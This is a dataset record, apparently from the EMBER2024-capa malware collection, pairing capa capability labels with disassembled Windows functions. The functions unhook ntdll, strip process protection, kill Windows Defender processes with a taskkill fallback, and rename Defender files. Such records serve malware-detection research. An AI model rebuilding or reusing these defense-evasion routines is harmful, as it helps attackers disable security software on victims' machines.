joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001950
Capabilities:
Load windows common language runtime

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 0x10], rax
lea rcx, str.clr.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor eax, eax
lea r8, [rbp - 0x50]
lea rdx, [0x140006720]
mov qword [rbp - 0x50], rax
lea rcx, [0x140006730]
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x48], rax
mov dword [rbp - 0x40], eax
call sub.mscoree.dll_CLRCreateInstance
test eax, eax
jne 0x140001a51
mov rcx, qword [rbp - 0x50]
lea rdx, [rbp - 0x58]
mov rax, qword [rcx]
call qword [rax + 0x28]
test eax, eax
jne 0x140001a51
mov rcx, qword [rbp - 0x58]
lea r9, [rbp - 0x40]
lea r8, [rbp - 0x60]
mov edx, 1
mov rax, qword [rcx]
call qword [rax + 0x18]
test eax, eax
jne 0x140001a27
nop dword [rax]
cmp dword [rbp - 0x40], 0
jbe 0x140001a27
mov rcx, qword [rbp - 0x60]
lea r8, [rbp - 0x3c]
mov dword [rbp - 0x3c], 0x14
lea rdx, [rbp - 0x38]
mov rax, qword [rcx]
call qword [rax + 0x18]
cmp dword [rbp - 0x3c], 2
jb 0x140001a0c
cmp word [rbp - 0x36], 0x34
je 0x140001a27
mov rcx, qword [rbp - 0x58]
lea r9, [rbp - 0x40]
lea r8, [rbp - 0x60]
mov edx, 1
mov rax, qword [rcx]
call qword [rax + 0x18]
test eax, eax
je 0x1400019e0
mov rcx, qword [rbp - 0x60]
lea r9, [rbp - 0x48]
lea r8, [0x140006710]
lea rdx, [0x140006700]
mov rax, qword [rcx]
call qword [rax + 0x48]
test eax, eax
jne 0x140001a51
mov rcx, qword [rbp - 0x48]
mov rax, qword [rcx]
call qword [rax + 0x18]
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x140001a60
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140004e70
add rsp, 0x80
pop rbp
ret
Function at 0x1400037c0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x140003821
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x1400037e0
mov ecx, dword [r9]
jmp 0x14000390b
cmp ecx, 0x4e0
jb 0x14000390b
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140003840
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140003890
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x140003ed0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x13f0
call fcn.140004ed0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x13e0], rax
mov ebx, r8d
mov r14, rdx
mov qword [rsp + 0x28], rdx
xor edi, edi
mov dword [rsp + 0x24], edi
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], rdi
mov qword [rdx + 0x18], 7
mov word [rdx], di
mov dword [rsp + 0x24], 1
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rdi
mov r8d, 0x3e
lea rdx, str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
lea rcx, [rsp + 0x30]
call fcn.140003440
nop
call sub.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov edx, eax
mov dword [rsp + 0x13d4], 0xffffffff
mov dword [rsp + 0x54], eax
mov ecx, 1
nop word [rax + rax]
mov eax, edx
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, ecx
mov dword [rsp + rcx*4 + 0x54], edx
inc rcx
cmp rcx, 0x270
jb 0x140003f80
mov dword [rsp + 0x50], 0x270
mov ebp, dword [rsp + 0x40]
dec ebp
mov r13, qword [rsp + 0x48]
mov r12, qword [rsp + 0x30]
test ebx, ebx
jle 0x140004093
mov eax, 0x80000000
xor ebp, eax
mov r15, rbx
movzx ebx, byte [rsp + 0x20]
nop
lea rcx, [rsp + 0x50]
cmp ebp, 0x7fffffff
jne 0x140003fe6
call fcn.1400037c0
mov ecx, eax
jmp 0x14000402a
lea edi, [rbp - 0x7fffffff]
call fcn.1400037c0
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x140004024
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x140004024
nop dword [rax + rax]
lea rcx, [rsp + 0x50]
call fcn.1400037c0
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x140004010
shr rcx, 0x20
xor edi, edi
mov r8d, 0x80000000
lea eax, [rcx + r8]
xor eax, r8d
lea rcx, [rsp + 0x30]
cmp r13, 7
cmova rcx, r12
cdqe
movzx r9d, word [rcx + rax*2]
mov rcx, qword [r14 + 0x10]
mov rdx, qword [r14 + 0x18]
cmp rcx, rdx
jae 0x140004078
lea rax, [rcx + 1]
mov qword [r14 + 0x10], rax
mov rax, r14
cmp rdx, 7
jbe 0x14000406c
mov rax, qword [r14]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], di
jmp 0x140004089
movzx r8d, bl
mov edx, 1
mov rcx, r14
call fcn.140003570
sub r15, 1
jne 0x140003fd0
cmp r13, 7
jbe 0x1400040d2
lea rdx, [r13*2 + 2]
mov rax, r12
cmp rdx, 0x1000
jb 0x1400040ca
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400040ca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r12
call fcn.140004ab4
mov rax, r14
mov rcx, qword [rsp + 0x13e0]
xor rcx, rsp
call fcn.140004e70
lea r11, [rsp + 0x13f0]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140004110
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x250
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rbx, rdx
mov qword [rsp + 0x28], rdx
lea rdx, [rsp + 0x30]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
xorps xmm0, xmm0
lea rax, [rsp + 0x30]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 0
mov r8, 0xffffffffffffffff
mov qword [rbx + 0x18], 0
inc r8
cmp word [rax + r8*2], 0
jne 0x140004165
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.140003440
mov rax, rbx
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.140004e70
add rsp, 0x250
pop rbx
ret
Function at 0x140004770
Capabilities:
Create process on windows
Terminate process

Disassembly:
push rsi
push r14
sub rsp, 0x68
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x58], rax
lea r14, [rcx + 0x68]
mov rsi, rcx
mov qword [rsp + 0x48], r14
lea rax, str.C:WindowsSystem32_
mov qword [rsp + 0x40], rcx
lea rdx, str.cmd.exe
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], 0
xor r8d, r8d
mov dword [rsp + 0x28], 0x14
xor ecx, ecx
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x14000487b
mov qword [rsp + 0x88], rbx
lea rcx, str.ntdll.dll
mov qword [rsp + 0x90], rbp
mov qword [rsp + 0x60], rdi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r9d, 4
mov r8d, 0x1000
mov rdi, rax
movsxd rcx, dword [rax + 0x3c]
mov ebx, dword [rcx + rax + 0x50]
xor ecx, ecx
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rcx, qword [r14]
mov r9d, ebx
mov rbp, rax
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x50]
mov r8, rbp
mov rdx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rdi, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x88]
test eax, eax
jne 0x140004861
mov rcx, qword [r14]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rdx, qword [rsi + 0x80]
mov r8, rbp
mov rcx, rsi
call fcn.140004890
mov rbp, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140004e70
add rsp, 0x68
pop r14
pop rsi
ret
Function at 0x140004890
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbx
push rbp
push rdi
push r12
push r14
push r15
sub rsp, 0x58
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x40], rax
movsxd rdi, dword [r8 + 0x3c]
mov r15, rdx
mov rcx, qword [rcx + 0x88]
lea rdx, str.VirtualProtect
add rdi, r8
mov r14, r8
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movzx r8d, word [rdi + 6]
xor ebp, ebp
mov r12, rax
mov edx, ebp
test r8d, r8d
je 0x140004988
movzx r9d, word [rdi + 0x14]
lea r10, str..text
nop
movsxd rcx, edx
lea rax, [rcx + rcx*4]
lea rbx, [r9 + rax*8]
mov rax, rbp
add rbx, rdi
movzx ecx, byte [rbx + rax + 0x18]
inc rax
cmp cl, byte [r10 + rax - 1]
jne 0x14000497d
cmp rax, 6
jne 0x140004901
mov dword [rsp + 0x20], ebp
lea r9, [rsp + 0x20]
mov ecx, dword [rbx + 0x24]
mov r8d, 0x40
mov edx, dword [rbx + 0x20]
add rcx, r15
call r12
test eax, eax
je 0x140004988
mov qword [rsp + 0x50], rsi
mov eax, 0xc3050f
mov esi, dword [rbx + 0x20]
mov ecx, 0xcccccc
mov r11d, ebp
mov dword [rsp + 0x24], eax
mov dword [rsp + 0x28], ecx
mov edx, ebp
lea r9d, [rsi - 3]
test r9d, r9d
je 0x1400049ab
movzx r10d, byte [rsp + 0x26]
mov r8d, edx
cmp word [r8 + r14], ax
jne 0x140004974
cmp byte [r8 + r14 + 2], r10b
je 0x1400049a8
inc edx
cmp edx, r9d
jb 0x140004963
jmp 0x1400049ab
inc edx
cmp edx, r8d
jl 0x1400048f0
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140004e70
add rsp, 0x58
pop r15
pop r14
pop r12
pop rdi
pop rbp
pop rbx
ret
mov r11d, edx
movzx r10d, byte [rsp + 0x2a]
mov r9d, 3
mov r8d, r9d
mov edi, r11d
nop dword [rax]
mov eax, r8d
mov rdx, rdi
sub rdx, rax
cmp word [rdx + r14], cx
jne 0x1400049d7
cmp byte [rdx + r14 + 2], r10b
je 0x1400049e2
inc r8d
cmp r8d, 0x32
jb 0x1400049c0
jmp 0x1400049e8
sub r9d, r8d
add r11d, r9d
movsd xmm0, qword [0x140006cd0]
lea ecx, [rsi - 9]
movzx eax, word [0x140006cd8]
mov rsi, qword [rsp + 0x50]
movsd qword [rsp + 0x30], xmm0
mov word [rsp + 0x38], ax
test ecx, ecx
je 0x140004a2d
mov r8, qword [rsp + 0x30]
movzx edx, al
cmp qword [rcx + r14], r8
jne 0x140004a23
cmp byte [rcx + r14 + 8], dl
je 0x140004a2a
add ecx, 0xffffffff
jne 0x140004a16
jmp 0x140004a2d
lea ebp, [rcx + 6]
test r11d, r11d
je 0x140004a51
test ebp, ebp
je 0x140004a51
cmp r11d, ebp
jae 0x140004a51
mov eax, r11d
sub ebp, r11d
mov r8d, ebp
lea rdx, [rax + r14]
lea rcx, [rax + r15]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [rbx + 0x24]
lea r9, [rsp + 0x20]
mov edx, dword [rbx + 0x20]
add rcx, r15
mov r8d, dword [rsp + 0x20]
call r12
test eax, eax
je 0x140004988
xor eax, eax
jmp 0x14000498d

Function at 0x140005688
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400056d2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400056d2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400056d2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400056d2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400056d2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400056d4
xor al, al
add rsp, 0x28
ret
Function at 0x140001070
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0xa0
mov rax, qword [0x14002a008]
xor rax, rsp
mov qword [rsp + 0x90], rax
mov r14, rdx
mov rbp, rcx
mov edx, 1
mov ecx, 0x100000
call fcn.14000964c
mov rdi, rax
test rax, rax
je 0x140001103
xor r9d, r9d
mov r8d, 0x100000
mov rdx, rax
lea ecx, [r9 + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
test eax, eax
js 0x140001103
xor ebx, ebx
cmp dword [rdi], ebx
jbe 0x140001103
mov eax, ebx
mov rdx, rbp
imul rcx, rax, 0x128
movzx eax, word [rcx + rdi + 0x2e]
add rax, 0x30
lea rsi, [rcx + rdi]
add rcx, rax
add rcx, rdi
call qword [sym.imp.KERNEL32.DLL_lstrcmpiA]
test eax, eax
je 0x140001139
inc ebx
cmp ebx, dword [rdi]
jb 0x1400010d4
lea rcx, str.ntoskrnl.exe_base_address_not_found._n
call fcn.140001010
xor eax, eax
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.140005460
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
mov rbx, qword [rsi + 0x18]
test rbx, rbx
je 0x140001103
lea rdx, str.FLTMGR.sys
mov rcx, rbp
call fcn.14001af70
test eax, eax
jne 0x1400011d1
mov eax, dword [0x140024a80]
lea rcx, [rsp + 0x20]
movups xmm0, xmmword [str.C:windows_system32drivers_]
mov dword [rsp + 0x38], eax
mov rdx, rbp
movzx eax, byte [0x140024a84]
movaps xmmword [rsp + 0x20], xmm0
movsd xmm0, qword [0x140024a78]
movsd qword [rsp + 0x30], xmm0
xorps xmm0, xmm0
mov byte [rsp + 0x3c], al
xor eax, eax
movups xmmword [rsp + 0x3d], xmm0
mov dword [rsp + 0x7d], eax
movups xmmword [rsp + 0x4d], xmm0
mov word [rsp + 0x81], ax
movups xmmword [rsp + 0x5d], xmm0
mov byte [rsp + 0x83], al
movups xmmword [rsp + 0x6d], xmm0
call qword [sym.imp.KERNEL32.DLL_lstrcatA]
xor edx, edx
lea rcx, [rsp + 0x20]
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.DLL_LoadLibraryExA]
jmp 0x1400011da
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x14000110f
mov rdx, r14
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
sub rbx, rdi
add rax, rbx
jmp 0x140001111
Function at 0x1400032d0
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
push rbx
push rbp
push r14
sub rsp, 0x20
mov r14d, ecx
mov r8d, ecx
mov ebx, 0x1000
xor edx, edx
mov ecx, ebx
call qword [sym.imp.KERNEL32.DLL_OpenProcess]
mov rbp, rax
test rax, rax
jne 0x140003319
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov edx, r14d
lea rcx, str._RemovePPL__Failed_to_open__d__error__lu_n
mov r8d, eax
call fcn.140001010
xor eax, eax
add rsp, 0x20
pop r14
pop rbp
pop rbx
ret
mov qword [rsp + 0x40], rsi
mov edx, 1
mov rcx, rbx
mov qword [rsp + 0x58], rdi
call fcn.14000964c
xor edi, edi
lea r9, [rsp + 0x50]
mov r8d, ebx
mov dword [rsp + 0x50], edi
mov rdx, rax
mov rsi, rax
lea ecx, [rdi + 0x40]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140003392
mov rcx, rsi
call fcn.14000ca50
add ebx, ebx
cmp ebx, 0x20000000
ja 0x140003396
mov ecx, ebx
mov edx, 1
call fcn.14000964c
lea r9, [rsp + 0x50]
mov r8d, ebx
mov rdx, rax
mov ecx, 0x40
mov rsi, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140003354
test eax, eax
jns 0x1400033b7
lea rcx, str._RemovePPL__NtQuerySystemInformation_failed_to_obtain_handle__n
call fcn.140001010
xor eax, eax
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop rbp
pop rbx
ret
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov rdx, qword [rsi]
test rdx, rdx
je 0x1400033a2
mov rcx, rdi
mov r8d, eax
nop dword [rax + rax]
lea rax, [rcx + rcx*4]
cmp qword [rsi + rax*8 + 0x18], r8
lea rcx, [rsi + rax*8]
jne 0x1400033e8
movzx eax, bp
cmp qword [rcx + 0x20], rax
je 0x1400033f3
inc edi
mov ecx, edi
cmp rcx, rdx
jb 0x1400033d0
jmp 0x1400033a2
mov rdx, qword [rcx + 0x10]
test rdx, rdx
je 0x1400033a2
mov eax, dword [0x14002bc78]
cmp eax, 0x3fab
ja 0x14000344e
je 0x14000348f
cmp eax, 0x2580
je 0x140003447
cmp eax, 0x2800
je 0x140003440
cmp eax, 0x295a
je 0x140003439
cmp eax, 0x3839
je 0x140003432
cmp eax, 0x3ad7
jmp 0x14000346b
mov eax, 0x6c2
jmp 0x140003494
mov eax, 0x6b2
jmp 0x140003494
mov eax, 0x6aa
jmp 0x140003494
mov eax, 0x67a
jmp 0x140003494
mov ecx, eax
sub ecx, 0x42ee
je 0x14000348f
sub ecx, 0x275
je 0x14000348f
sub ecx, 0x257
je 0x14000348f
cmp ecx, 1
je 0x14000348f
cmp eax, 0x4a61
jb 0x14000347b
mov eax, 0x87a
jmp 0x140003494
mov edx, r14d
lea rcx, str._RemovePPL__The_offset_address_of__d_was_not_found__this_Windows_version_requires_adaptation__n
call fcn.140001010
jmp 0x1400033a2
mov eax, 0x6ca
add rdx, rax
mov byte [rsp + 0x48], 0
mov r8d, 1
lea rcx, [rsp + 0x48]
call fcn.140004bd0
mov eax, 1
jmp 0x1400033a4
Function at 0x1400034c0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
sub rsp, 0x458
mov rax, qword [0x14002a008]
xor rax, rsp
mov qword [rsp + 0x440], rax
cmp dword [0x14002bc70], 0xa
jb 0x1400036f6
xor edx, edx
mov qword [rsp + 0x450], rdi
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400036b8
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_Process32FirstW]
test eax, eax
je 0x1400036af
mov qword [rsp + 0x460], rbx
nop dword [rax]
xor edx, edx
lea rcx, [rsp + 0x260]
mov r8d, 0x104
call fcn.140006550
mov r8d, 0x103
lea rdx, [rsp + 0x4c]
lea rcx, [rsp + 0x260]
call fcn.14000c80c
lea rdx, str.msmpeng.exe
lea rcx, [rsp + 0x260]
call fcn.14000c980
test eax, eax
je 0x1400035a9
lea rdx, str.nissrv.exe
lea rcx, [rsp + 0x260]
call fcn.14000c980
test eax, eax
je 0x1400035a9
lea rdx, str.mpcmdrun.exe
lea rcx, [rsp + 0x260]
call fcn.14000c980
test eax, eax
jne 0x140003691
mov ecx, dword [rsp + 0x28]
call fcn.1400032d0
test eax, eax
jne 0x1400035ca
lea rdx, [rsp + 0x260]
lea rcx, str._ss_PPL_Remove_Faild._n
call fcn.140001010
mov r8d, dword [rsp + 0x28]
xor edx, edx
mov ecx, 0x1001
call qword [sym.imp.KERNEL32.DLL_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140003646
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov r8d, eax
lea rdx, [rsp + 0x260]
lea rcx, str.Failed_to_open__s__error__lu__Try_to_use_taskkill__please_manually_check_whether_the_kill_is_successful__n
call fcn.140001010
xor edx, edx
lea rcx, [rsp + 0x370]
mov r8d, 0xc8
call fcn.140006550
lea r9, [rsp + 0x260]
mov edx, 0xc8
lea r8, str.taskkill__f__im__s
lea rcx, [rsp + 0x370]
call fcn.140002c80
lea rcx, [rsp + 0x370]
call fcn.1400039f0
jmp 0x140003691
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_TerminateProcess]
test eax, eax
je 0x14000366b
lea rdx, [rsp + 0x260]
lea rcx, str._Success__Killed__s._n
call fcn.140001010
jmp 0x140003688
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov r8d, eax
lea rdx, [rsp + 0x260]
lea rcx, str.Failed_to_terminate__s__error__lu_n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
jne 0x140003530
mov rbx, qword [rsp + 0x460]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
lea rcx, str.C:ProgramDataMicrosoftWindows_DefenderPlatform
call fcn.140003710
lea rcx, str.C:Program_Files__x86_Windows_Defender
call fcn.140003710
lea rcx, str.C:Program_FilesWindows_Defender
call fcn.140003710
mov edx, dword [0x14002bc7c]
lea rcx, str._INFO__A_total_of___d_Defender_file__was_renamed__msmpeng.exe__nissrv.exe__and_mpcmdrun.exe_were_all_renamed._n
call fcn.140001010
mov rdi, qword [rsp + 0x450]
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.140005460
add rsp, 0x458
ret
Function at 0x1400039f0
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xf0
mov rbx, rcx
mov dword [rbp - 0x49], 0x18
xor edi, edi
mov dword [rbp - 0x39], 1
lea rcx, [rbp + 0x77]
mov qword [rbp - 0x41], rdi
xor r9d, r9d
lea r8, [rbp - 0x49]
lea rdx, [rbp + 0x6f]
call qword [sym.imp.KERNEL32.DLL_CreatePipe]
test eax, eax
jne 0x140003a50
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_create_pipe._Error__d_n
call fcn.140001010
jmp 0x140003b4d
mov rcx, qword [rbp + 0x77]
xor r8d, r8d
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.DLL_SetHandleInformation]
test eax, eax
jne 0x140003a7e
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_set_handle_information._Error__d_n
call fcn.140001010
jmp 0x140003b4d
xorps xmm0, xmm0
xor eax, eax
mov qword [rbp + 0x47], rax
xor r9d, r9d
movups xmmword [rbp - 0x19], xmm0
xor r8d, r8d
mov rdx, rbx
movaps xmmword [rbp + 0x17], xmm0
xor ecx, ecx
movups xmmword [rbp + 0x27], xmm0
mov dword [rbp - 0x19], 0x68
movups xmmword [rbp + 0x37], xmm0
mov word [rbp + 0x27], di
movups xmmword [rbp - 9], xmm0
movups xmmword [rbp + 7], xmm0
psrldq xmm0, 0xc
movd eax, xmm0
or eax, 0x101
mov dword [rbp + 0x23], eax
mov rax, qword [rbp + 0x6f]
mov qword [rbp + 0x3f], rax
lea rax, [rbp - 0x31]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x19]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
jne 0x140003b16
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov rdx, rbx
lea rcx, str.Failed_to_run:__s._Error__d_n
mov r8d, eax
call fcn.140001010
jmp 0x140003b4d
mov rcx, qword [rbp + 0x6f]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rcx, qword [rbp - 0x31]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov rcx, qword [rbp - 0x31]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rcx, qword [rbp - 0x29]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rcx, qword [rbp + 0x77]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140005e54
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
test rax, rax
je 0x140005e9e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005e9e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005e9e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005e9e
cmp dword [rcx + 0x84], 0xe
jbe 0x140005e9e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140005ea0
xor al, al
add rsp, 0x28
ret

Function at 0x140009640
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400094ab
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
test rax, rax
je 0x1400094ab
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400094ab
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400094ab
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400094ab
cmp dword [rcx + 0x84], 0xe
jbe 0x1400094ab
cmp dword [rcx + 0xf8], 0
je 0x1400094ab
mov ecx, ebx
call fcn.14000955c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140009338
nop
cmp dword [rbp + 0x20], 0
je 0x1400094f9
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140009504
int3
xor r8d, r8d
